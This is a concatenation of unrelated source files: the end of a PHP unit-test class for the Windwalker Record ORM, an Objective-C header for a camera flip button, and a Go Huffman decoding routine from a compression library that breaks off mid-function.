'title' => 'Lodovico', 'meaning' => 'Kinsman to Brabantio', 'ordering' => 123456, 'params' => '', ]; $record = $this->instance; $record->bind($data); $record->create(); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE title = "Lodovico"')->loadOne(); $this->assertEquals('Lodovico', $flower->title); $this->assertEquals($record->id, $flower->id); // Test create with id $data = [ 'id' => 3000, 'title' => 'Brabantio', 'meaning' => 'senator', 'ordering' => 123456, 'params' => '', ]; $record = $this->instance; $record->bind($data); $record->create(); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 3000')->loadOne(); $this->assertEquals('Brabantio', $flower->title); } /** * testCreateWithEmptyId * * @return void * @throws \Exception */ public function testCreateWithEmptyId() { $data = [ 'id' => 'A', 'title' => 'Brabantio 2', 'meaning' => 'senator', 'ordering' => 123456, 'params' => '', ]; $record = $this->instance; $record->bind($data); $record->create(); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 3001')->loadOne(); $this->assertEquals('Brabantio 2', $flower->title); } /** * testUpdate * * @return void */ public function testUpdate() { $this->markTestIncomplete('This test has not been implemented yet.'); } /** * Method to test hasPrimaryKey(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::hasPrimaryKey */ public function testHasPrimaryKey() { $this->assertFalse($this->instance->hasPrimaryKey()); $key = $this->instance->getKeyName(); $this->instance->$key = 123; $this->assertTrue($this->instance->hasPrimaryKey()); } /** * Method to test getKeyName(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::getKeyName */ public function testGetKeyName() { $record = new Record('articles', ['id', 'alias']); $this->assertEquals('id', $record->getKeyName()); $this->assertEquals(['id', 'alias'], $record->getKeyName(true)); } /** * Method to test getFields(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::getFields */ public function testGetFields() { $fields = $this->instance->getFields(); $expected = $this->db->getTable('articles')->getColumnDetails(true); $expected['created']->Default = $this->db->getQuery(true)->getNullDate(); $this->assertEquals($expected, $fields); } /** * testHasField * * @return void */ public function testHasField() { $record = $this->instance; $this->assertTrue($record->hasField('title')); $this->assertFalse($record->hasField('chicken')); } /** * Method to test getTableName(). * * @return void * * @covers \Windwalker\Record\Record::getTableName */ public function testGetTableName() { $this->assertEquals('articles', $this->instance->getTableName()); } /** * Method to test setTableName(). * * @return void * * @covers \Windwalker\Record\Record::setTableName * @TODO Implement testSetTableName(). */ public function testSetTableName() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test getIterator(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::getIterator */ public function testGetIterator() { $this->instance->load(7); $this->assertEquals($this->instance->dump(), iterator_to_array($this->instance)); } /** * Method to test toObject(). * * @return void * * @covers \Windwalker\Record\Record::toObject * @TODO Implement testToObject(). */ public function testToObject() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test toArray(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::dump */ public function testDump() { $this->instance->load(7); $array = $this->instance->dump(); $this->assertEquals($this->instance->title, $array['title']); } /** * Method to test __isset(). * * @return void * * @covers \Windwalker\Record\Record::__isset */ public function test__isset() { $this->assertTrue(isset($this->instance->title)); $this->assertFalse(isset($this->instance->chicken)); } /** * Method to test __clone(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::__clone */ public function test__clone() { $this->instance->load(7); $clone = clone $this->instance; $clone->load(8); $this->assertNotSame($clone, $this->instance); $this->assertNotEquals($clone->title, $this->instance->title); } /** * Method to test q(). * * @return void * * @covers \Windwalker\Record\Record::q * @TODO Implement testQ(). */ public function testQ() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test qn(). * * @return void * * @covers \Windwalker\Record\Record::qn * @TODO Implement testQn(). */ public function testQn() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test valueExists(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::valueExists */ public function testValueExists() { $this->assertTrue($this->instance->valueExists('alias', 'ut-qui-sed')); $this->instance->load(['alias' => 'ut-qui-sed']); $this->assertFalse($this->instance->valueExists('id')); } /** * Method to test setAlias(). * * @return void * * @throws \ReflectionException * @covers \Windwalker\Record\Record::setAlias * @covers \Windwalker\Record\Record::resolveAlias */ public function testAlias() { $record = $this->instance; // Get by alias $record->setAlias('foo', 'catid'); $record->bind( [ 'id' => 1, 'foo' => 6, 'title' => 'Sakura', ] ); $this->assertEquals(6, $record->catid); $this->assertEquals('Sakura', $record->title); // Test resolve $this->assertEquals('catid', $record->resolveAlias('foo')); // Set by alias $record->setAlias('bar', 'air'); $record->bar = 8; $data = (object) TestHelper::getValue($record, 'data'); $this->assertEquals(8, $data->air); } /** * Method to test offsetExists(). * * @return void * * @covers \Windwalker\Record\Record::offsetExists */ public function testOffsetExists() { $this->assertTrue(isset($this->instance['title'])); $this->assertFalse(isset($this->instance['chicken'])); } /** * Method to test offsetGet(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::offsetGet */ public function testOffsetGet() { $this->instance->load(12); $this->assertEquals('Quidem sequi', $this->instance['title']); $this->assertEquals(null, $this->instance['chicken']); } /** * Method to test offsetSet(). * * @return void * * @covers \Windwalker\Record\Record::offsetSet */ public function testOffsetSet() { $this->instance['title'] = 'ABC'; $this->instance['Extra'] = 'foo'; $array = $this->instance->dump(true); $this->assertEquals('ABC', $array['title']); $this->assertEquals('foo', $array['Extra']); } /** * Method to test offsetUnset(). * * @return void * * @covers \Windwalker\Record\Record::offsetUnset */ public function testOffsetUnset() { $this->instance['title'] = 'ABC'; $this->assertEquals('ABC', $this->instance['title']); unset($this->instance['title']); $this->assertEquals(null, $this->instance['title']); } /** * Method to test triggerEvent(). * * @return void * * @covers \Windwalker\Record\Record::triggerEvent * @TODO Implement testTriggerEvent(). */ public function testTriggerEvent() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test getDispatcher(). * * @return void * * @covers \Windwalker\Record\Record::getDispatcher * @TODO Implement testGetDispatcher(). */ public function testGetDispatcher() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test setDispatcher(). * * @return void * * @covers \Windwalker\Record\Record::setDispatcher * @TODO Implement testSetDispatcher(). */ public function testSetDispatcher() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test getDb(). * * @return void * * @covers \Windwalker\Record\Record::getDb * @TODO Implement testGetDb(). */ public function testGetDb() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test setDb(). * * @return void * * @covers \Windwalker\Record\Record::setDb * @TODO Implement testSetDb(). */ public function testSetDb() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } }
{ "pile_set_name": "Github" }
#import <LegacyComponents/TGModernButton.h> @interface TGCameraFlipButton : TGModernButton - (instancetype)initWithFrame:(CGRect)frame large:(bool)large; - (void)setHidden:(bool)hidden animated:(bool)animated; @end
{ "pile_set_name": "Github" }
package huff0 import ( "errors" "fmt" "io" "github.com/klauspost/compress/fse" ) type dTable struct { single []dEntrySingle double []dEntryDouble } // single-symbols decoding type dEntrySingle struct { entry uint16 } // double-symbols decoding type dEntryDouble struct { seq uint16 nBits uint8 len uint8 } // Uses special code for all tables that are < 8 bits. const use8BitTables = true // ReadTable will read a table from the input. // The size of the input may be larger than the table definition. // Any content remaining after the table definition will be returned. // If no Scratch is provided a new one is allocated. // The returned Scratch can be used for decoding input using this table. func ReadTable(in []byte, s *Scratch) (s2 *Scratch, remain []byte, err error) { s, err = s.prepare(in) if err != nil { return s, nil, err } if len(in) <= 1 { return s, nil, errors.New("input too small for table") } iSize := in[0] in = in[1:] if iSize >= 128 { // Uncompressed oSize := iSize - 127 iSize = (oSize + 1) / 2 if int(iSize) > len(in) { return s, nil, errors.New("input too small for table") } for n := uint8(0); n < oSize; n += 2 { v := in[n/2] s.huffWeight[n] = v >> 4 s.huffWeight[n+1] = v & 15 } s.symbolLen = uint16(oSize) in = in[iSize:] } else { if len(in) <= int(iSize) { return s, nil, errors.New("input too small for table") } // FSE compressed weights s.fse.DecompressLimit = 255 hw := s.huffWeight[:] s.fse.Out = hw b, err := fse.Decompress(in[:iSize], s.fse) s.fse.Out = nil if err != nil { return s, nil, err } if len(b) > 255 { return s, nil, errors.New("corrupt input: output table too large") } s.symbolLen = uint16(len(b)) in = in[iSize:] } // collect weight stats var rankStats [16]uint32 weightTotal := uint32(0) for _, v := range s.huffWeight[:s.symbolLen] { if v > tableLogMax { return s, nil, errors.New("corrupt input: weight too large") } v2 := v & 15 rankStats[v2]++ // (1 << (v2-1)) is slower since the compiler cannot prove that v2 isn't 0. weightTotal += (1 << v2) >> 1 } if weightTotal == 0 { return s, nil, errors.New("corrupt input: weights zero") } // get last non-null symbol weight (implied, total must be 2^n) { tableLog := highBit32(weightTotal) + 1 if tableLog > tableLogMax { return s, nil, errors.New("corrupt input: tableLog too big") } s.actualTableLog = uint8(tableLog) // determine last weight { total := uint32(1) << tableLog rest := total - weightTotal verif := uint32(1) << highBit32(rest) lastWeight := highBit32(rest) + 1 if verif != rest { // last value must be a clean power of 2 return s, nil, errors.New("corrupt input: last value not power of two") } s.huffWeight[s.symbolLen] = uint8(lastWeight) s.symbolLen++ rankStats[lastWeight]++ } } if (rankStats[1] < 2) || (rankStats[1]&1 != 0) { // by construction : at least 2 elts of rank 1, must be even return s, nil, errors.New("corrupt input: min elt size, even check failed ") } // TODO: Choose between single/double symbol decoding // Calculate starting value for each rank { var nextRankStart uint32 for n := uint8(1); n < s.actualTableLog+1; n++ { current := nextRankStart nextRankStart += rankStats[n] << (n - 1) rankStats[n] = current } } // fill DTable (always full size) tSize := 1 << tableLogMax if len(s.dt.single) != tSize { s.dt.single = make([]dEntrySingle, tSize) } for n, w := range s.huffWeight[:s.symbolLen] { if w == 0 { continue } length := (uint32(1) << w) >> 1 d := dEntrySingle{ entry: uint16(s.actualTableLog+1-w) | (uint16(n) << 8), } rank := &rankStats[w] single := s.dt.single[*rank : *rank+length] for i := range single { single[i] = d } *rank += length } return s, in, nil } // Decompress1X will decompress a 1X encoded stream. // The length of the supplied input must match the end of a block exactly. // Before this is called, the table must be initialized with ReadTable unless // the encoder re-used the table. // deprecated: Use the stateless Decoder() to get a concurrent version. func (s *Scratch) Decompress1X(in []byte) (out []byte, err error) { if cap(s.Out) < s.MaxDecodedSize { s.Out = make([]byte, s.MaxDecodedSize) } s.Out = s.Out[:0:s.MaxDecodedSize] s.Out, err = s.Decoder().Decompress1X(s.Out, in) return s.Out, err } // Decompress4X will decompress a 4X encoded stream. // Before this is called, the table must be initialized with ReadTable unless // the encoder re-used the table. // The length of the supplied input must match the end of a block exactly. // The destination size of the uncompressed data must be known and provided. // deprecated: Use the stateless Decoder() to get a concurrent version. func (s *Scratch) Decompress4X(in []byte, dstSize int) (out []byte, err error) { if dstSize > s.MaxDecodedSize { return nil, ErrMaxDecodedSizeExceeded } if cap(s.Out) < dstSize { s.Out = make([]byte, s.MaxDecodedSize) } s.Out = s.Out[:0:dstSize] s.Out, err = s.Decoder().Decompress4X(s.Out, in) return s.Out, err } // Decoder will return a stateless decoder that can be used by multiple // decompressors concurrently. // Before this is called, the table must be initialized with ReadTable. // The Decoder is still linked to the scratch buffer so that cannot be reused. // However, it is safe to discard the scratch. func (s *Scratch) Decoder() *Decoder { return &Decoder{ dt: s.dt, actualTableLog: s.actualTableLog, } } // Decoder provides stateless decoding. type Decoder struct { dt dTable actualTableLog uint8 } // Decompress1X will decompress a 1X encoded stream. // The cap of the output buffer will be the maximum decompressed size. // The length of the supplied input must match the end of a block exactly. func (d *Decoder) Decompress1X(dst, src []byte) ([]byte, error) { if len(d.dt.single) == 0 { return nil, errors.New("no table loaded") } if use8BitTables && d.actualTableLog <= 8 { return d.decompress1X8Bit(dst, src) } var br bitReaderShifted err := br.init(src) if err != nil { return dst, err } maxDecodedSize := cap(dst) dst = dst[:0] // Avoid bounds check by always having full sized table. const tlSize = 1 << tableLogMax const tlMask = tlSize - 1 dt := d.dt.single[:tlSize] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 for br.off >= 8 { br.fillFast() v := dt[br.peekBitsFast(d.actualTableLog)&tlMask] br.advance(uint8(v.entry)) buf[off+0] = uint8(v.entry >> 8) v = dt[br.peekBitsFast(d.actualTableLog)&tlMask] br.advance(uint8(v.entry)) buf[off+1] = uint8(v.entry >> 8) // Refill br.fillFast() v = dt[br.peekBitsFast(d.actualTableLog)&tlMask] br.advance(uint8(v.entry)) buf[off+2] = uint8(v.entry >> 8) v = dt[br.peekBitsFast(d.actualTableLog)&tlMask] br.advance(uint8(v.entry)) buf[off+3] = uint8(v.entry >> 8) off += 4 if off == 0 { if len(dst)+256 > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:]...) } } if len(dst)+int(off) > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:off]...) // br < 8, so uint8 is fine bitsLeft := uint8(br.off)*8 + 64 - br.bitsRead for bitsLeft > 0 { br.fill() if false && br.bitsRead >= 32 { if br.off >= 4 { v := br.in[br.off-4:] v = v[:4] low := (uint32(v[0])) | (uint32(v[1]) << 8) | (uint32(v[2]) << 16) | (uint32(v[3]) << 24) br.value = (br.value << 32) | uint64(low) br.bitsRead -= 32 br.off -= 4 } else { for br.off > 0 { br.value = (br.value << 8) | uint64(br.in[br.off-1]) br.bitsRead -= 8 br.off-- } } } if len(dst) >= maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } v := d.dt.single[br.peekBitsFast(d.actualTableLog)&tlMask] nBits := uint8(v.entry) br.advance(nBits) bitsLeft -= nBits dst = append(dst, uint8(v.entry>>8)) } return dst, br.close() } // decompress1X8Bit will decompress a 1X encoded stream with tablelog <= 8. // The cap of the output buffer will be the maximum decompressed size. // The length of the supplied input must match the end of a block exactly. func (d *Decoder) decompress1X8Bit(dst, src []byte) ([]byte, error) { if d.actualTableLog == 8 { return d.decompress1X8BitExactly(dst, src) } var br bitReaderBytes err := br.init(src) if err != nil { return dst, err } maxDecodedSize := cap(dst) dst = dst[:0] // Avoid bounds check by always having full sized table. dt := d.dt.single[:256] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 shift := (8 - d.actualTableLog) & 7 //fmt.Printf("mask: %b, tl:%d\n", mask, d.actualTableLog) for br.off >= 4 { br.fillFast() v := dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+0] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+1] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+2] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+3] = uint8(v.entry >> 8) off += 4 if off == 0 { if len(dst)+256 > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:]...) } } if len(dst)+int(off) > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:off]...) // br < 4, so uint8 is fine bitsLeft := int8(uint8(br.off)*8 + (64 - br.bitsRead)) for bitsLeft > 0 { if br.bitsRead >= 64-8 { for br.off > 0 { br.value |= uint64(br.in[br.off-1]) << (br.bitsRead - 8) br.bitsRead -= 8 br.off-- } } if len(dst) >= maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } v := dt[br.peekByteFast()>>shift] nBits := uint8(v.entry) br.advance(nBits) bitsLeft -= int8(nBits) dst = append(dst, uint8(v.entry>>8)) } return dst, br.close() } // decompress1X8Bit will decompress a 1X encoded stream with tablelog <= 8. // The cap of the output buffer will be the maximum decompressed size. // The length of the supplied input must match the end of a block exactly. func (d *Decoder) decompress1X8BitExactly(dst, src []byte) ([]byte, error) { var br bitReaderBytes err := br.init(src) if err != nil { return dst, err } maxDecodedSize := cap(dst) dst = dst[:0] // Avoid bounds check by always having full sized table. dt := d.dt.single[:256] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 const shift = 0 //fmt.Printf("mask: %b, tl:%d\n", mask, d.actualTableLog) for br.off >= 4 { br.fillFast() v := dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+0] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+1] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+2] = uint8(v.entry >> 8) v = dt[br.peekByteFast()>>shift] br.advance(uint8(v.entry)) buf[off+3] = uint8(v.entry >> 8) off += 4 if off == 0 { if len(dst)+256 > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:]...) } } if len(dst)+int(off) > maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } dst = append(dst, buf[:off]...) // br < 4, so uint8 is fine bitsLeft := int8(uint8(br.off)*8 + (64 - br.bitsRead)) for bitsLeft > 0 { if br.bitsRead >= 64-8 { for br.off > 0 { br.value |= uint64(br.in[br.off-1]) << (br.bitsRead - 8) br.bitsRead -= 8 br.off-- } } if len(dst) >= maxDecodedSize { br.close() return nil, ErrMaxDecodedSizeExceeded } v := dt[br.peekByteFast()>>shift] nBits := uint8(v.entry) br.advance(nBits) bitsLeft -= int8(nBits) dst = append(dst, uint8(v.entry>>8)) } return dst, br.close() } // Decompress4X will decompress a 4X encoded stream. // The length of the supplied input must match the end of a block exactly. // The *capacity* of the dst slice must match the destination size of // the uncompressed data exactly. func (d *Decoder) Decompress4X(dst, src []byte) ([]byte, error) { if len(d.dt.single) == 0 { return nil, errors.New("no table loaded") } if len(src) < 6+(4*1) { return nil, errors.New("input too small") } if use8BitTables && d.actualTableLog <= 8 { return d.decompress4X8bit(dst, src) } var br [4]bitReaderShifted start := 6 for i := 0; i < 3; i++ { length := int(src[i*2]) | (int(src[i*2+1]) << 8) if start+length >= len(src) { return nil, errors.New("truncated input (or invalid offset)") } err := br[i].init(src[start : start+length]) if err != nil { return nil, err } start += length } err := br[3].init(src[start:]) if err != nil { return nil, err } // destination, offset to match first output dstSize := cap(dst) dst = dst[:dstSize] out := dst dstEvery := (dstSize + 3) / 4 const tlSize = 1 << tableLogMax const tlMask = tlSize - 1 single := d.dt.single[:tlSize] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 var decoded int // Decode 2 values from each decoder/loop. const bufoff = 256 / 4 for { if br[0].off < 4 || br[1].off < 4 || br[2].off < 4 || br[3].off < 4 { break } { const stream = 0 const stream2 = 1 br[stream].fillFast() br[stream2].fillFast() val := br[stream].peekBitsFast(d.actualTableLog) v := single[val&tlMask] br[stream].advance(uint8(v.entry)) buf[off+bufoff*stream] = uint8(v.entry >> 8) val2 := br[stream2].peekBitsFast(d.actualTableLog) v2 := single[val2&tlMask] br[stream2].advance(uint8(v2.entry)) buf[off+bufoff*stream2] = uint8(v2.entry >> 8) val = br[stream].peekBitsFast(d.actualTableLog) v = single[val&tlMask] br[stream].advance(uint8(v.entry)) buf[off+bufoff*stream+1] = uint8(v.entry >> 8) val2 = br[stream2].peekBitsFast(d.actualTableLog) v2 = single[val2&tlMask] br[stream2].advance(uint8(v2.entry)) buf[off+bufoff*stream2+1] = uint8(v2.entry >> 8) } { const stream = 2 const stream2 = 3 br[stream].fillFast() br[stream2].fillFast() val := br[stream].peekBitsFast(d.actualTableLog) v := single[val&tlMask] br[stream].advance(uint8(v.entry)) buf[off+bufoff*stream] = uint8(v.entry >> 8) val2 := br[stream2].peekBitsFast(d.actualTableLog) v2 := single[val2&tlMask] br[stream2].advance(uint8(v2.entry)) buf[off+bufoff*stream2] = uint8(v2.entry >> 8) val = br[stream].peekBitsFast(d.actualTableLog) v = single[val&tlMask] br[stream].advance(uint8(v.entry)) buf[off+bufoff*stream+1] = uint8(v.entry >> 8) val2 = br[stream2].peekBitsFast(d.actualTableLog) v2 = single[val2&tlMask] br[stream2].advance(uint8(v2.entry)) buf[off+bufoff*stream2+1] = uint8(v2.entry >> 8) } off += 2 if off == bufoff { if bufoff > dstEvery { return nil, errors.New("corruption detected: stream overrun 1") } copy(out, buf[:bufoff]) copy(out[dstEvery:], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:], buf[bufoff*3:bufoff*4]) off = 0 out = out[bufoff:] decoded += 256 // There must at least be 3 buffers left. if len(out) < dstEvery*3 { return nil, errors.New("corruption detected: stream overrun 2") } } } if off > 0 { ioff := int(off) if len(out) < dstEvery*3+ioff { return nil, errors.New("corruption detected: stream overrun 3") } copy(out, buf[:off]) copy(out[dstEvery:dstEvery+ioff], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:dstEvery*2+ioff], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:dstEvery*3+ioff], buf[bufoff*3:bufoff*4]) decoded += int(off) * 4 out = out[off:] } // Decode remaining. for i := range br { offset := dstEvery * i br := &br[i] bitsLeft := br.off*8 + uint(64-br.bitsRead) for bitsLeft > 0 { br.fill() if false && br.bitsRead >= 32 { if br.off >= 4 { v := br.in[br.off-4:] v = v[:4] low := (uint32(v[0])) | (uint32(v[1]) << 8) | (uint32(v[2]) << 16) | (uint32(v[3]) << 24) br.value = (br.value << 32) | uint64(low) br.bitsRead -= 32 br.off -= 4 } else { for br.off > 0 { br.value = (br.value << 8) | uint64(br.in[br.off-1]) br.bitsRead -= 8 br.off-- } } } // end inline... if offset >= len(out) { return nil, errors.New("corruption detected: stream overrun 4") } // Read value and increment offset. val := br.peekBitsFast(d.actualTableLog) v := single[val&tlMask].entry nBits := uint8(v) br.advance(nBits) bitsLeft -= uint(nBits) out[offset] = uint8(v >> 8) offset++ } decoded += offset - dstEvery*i err = br.close() if err != nil { return nil, err } } if dstSize != decoded { return nil, errors.New("corruption detected: short output block") } return dst, nil } // Decompress4X will decompress a 4X encoded stream. // The length of the supplied input must match the end of a block exactly. // The *capacity* of the dst slice must match the destination size of // the uncompressed data exactly. func (d *Decoder) decompress4X8bit(dst, src []byte) ([]byte, error) { if d.actualTableLog == 8 { return d.decompress4X8bitExactly(dst, src) } var br [4]bitReaderBytes start := 6 for i := 0; i < 3; i++ { length := int(src[i*2]) | (int(src[i*2+1]) << 8) if start+length >= len(src) { return nil, errors.New("truncated input (or invalid offset)") } err := br[i].init(src[start : start+length]) if err != nil { return nil, err } start += length } err := br[3].init(src[start:]) if err != nil { return nil, err } // destination, offset to match first output dstSize := cap(dst) dst = dst[:dstSize] out := dst dstEvery := (dstSize + 3) / 4 shift := (8 - d.actualTableLog) & 7 const tlSize = 1 << 8 const tlMask = tlSize - 1 single := d.dt.single[:tlSize] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 var decoded int // Decode 4 values from each decoder/loop. const bufoff = 256 / 4 for { if br[0].off < 4 || br[1].off < 4 || br[2].off < 4 || br[3].off < 4 { break } { // Interleave 2 decodes. const stream = 0 const stream2 = 1 br[stream].fillFast() br[stream2].fillFast() v := single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 := single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+1] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+1] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+2] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+3] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+3] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) } { const stream = 2 const stream2 = 3 br[stream].fillFast() br[stream2].fillFast() v := single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 := single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+1] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+1] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+2] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+3] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+3] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) } off += 4 if off == bufoff { if bufoff > dstEvery { return nil, errors.New("corruption detected: stream overrun 1") } copy(out, buf[:bufoff]) copy(out[dstEvery:], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:], buf[bufoff*3:bufoff*4]) off = 0 out = out[bufoff:] decoded += 256 // There must at least be 3 buffers left. if len(out) < dstEvery*3 { return nil, errors.New("corruption detected: stream overrun 2") } } } if off > 0 { ioff := int(off) if len(out) < dstEvery*3+ioff { return nil, errors.New("corruption detected: stream overrun 3") } copy(out, buf[:off]) copy(out[dstEvery:dstEvery+ioff], buf[bufoff:bufoff*2]) copy(out[dstEvery*2:dstEvery*2+ioff], buf[bufoff*2:bufoff*3]) copy(out[dstEvery*3:dstEvery*3+ioff], buf[bufoff*3:bufoff*4]) decoded += int(off) * 4 out = out[off:] } // Decode remaining. for i := range br { offset := dstEvery * i br := &br[i] bitsLeft := int(br.off*8) + int(64-br.bitsRead) for bitsLeft > 0 { if br.finished() { return nil, io.ErrUnexpectedEOF } if br.bitsRead >= 56 { if br.off >= 4 { v := br.in[br.off-4:] v = v[:4] low := (uint32(v[0])) | (uint32(v[1]) << 8) | (uint32(v[2]) << 16) | (uint32(v[3]) << 24) br.value |= uint64(low) << (br.bitsRead - 32) br.bitsRead -= 32 br.off -= 4 } else { for br.off > 0 { br.value |= uint64(br.in[br.off-1]) << (br.bitsRead - 8) br.bitsRead -= 8 br.off-- } } } // end inline... if offset >= len(out) { return nil, errors.New("corruption detected: stream overrun 4") } // Read value and increment offset. v := single[br.peekByteFast()>>shift].entry nBits := uint8(v) br.advance(nBits) bitsLeft -= int(nBits) out[offset] = uint8(v >> 8) offset++ } decoded += offset - dstEvery*i err = br.close() if err != nil { return nil, err } } if dstSize != decoded { return nil, errors.New("corruption detected: short output block") } return dst, nil } // Decompress4X will decompress a 4X encoded stream. // The length of the supplied input must match the end of a block exactly. // The *capacity* of the dst slice must match the destination size of // the uncompressed data exactly. func (d *Decoder) decompress4X8bitExactly(dst, src []byte) ([]byte, error) { var br [4]bitReaderBytes start := 6 for i := 0; i < 3; i++ { length := int(src[i*2]) | (int(src[i*2+1]) << 8) if start+length >= len(src) { return nil, errors.New("truncated input (or invalid offset)") } err := br[i].init(src[start : start+length]) if err != nil { return nil, err } start += length } err := br[3].init(src[start:]) if err != nil { return nil, err } // destination, offset to match first output dstSize := cap(dst) dst = dst[:dstSize] out := dst dstEvery := (dstSize + 3) / 4 const shift = 0 const tlSize = 1 << 8 const tlMask = tlSize - 1 single := d.dt.single[:tlSize] // Use temp table to avoid bound checks/append penalty. var buf [256]byte var off uint8 var decoded int // Decode 4 values from each decoder/loop. const bufoff = 256 / 4 for { if br[0].off < 4 || br[1].off < 4 || br[2].off < 4 || br[3].off < 4 { break } { // Interleave 2 decodes. const stream = 0 const stream2 = 1 br[stream].fillFast() br[stream2].fillFast() v := single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 := single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+1] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+1] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+2] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+2] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) v = single[br[stream].peekByteFast()>>shift].entry buf[off+bufoff*stream+3] = uint8(v >> 8) br[stream].advance(uint8(v)) v2 = single[br[stream2].peekByteFast()>>shift].entry buf[off+bufoff*stream2+3] = uint8(v2 >> 8) br[stream2].advance(uint8(v2)) } { const stream = 2 const stream2 = 3 br[stream].fillFast() br[stream2].fillFast() v := single[br[stream].peekByteFast()>>shift].entry 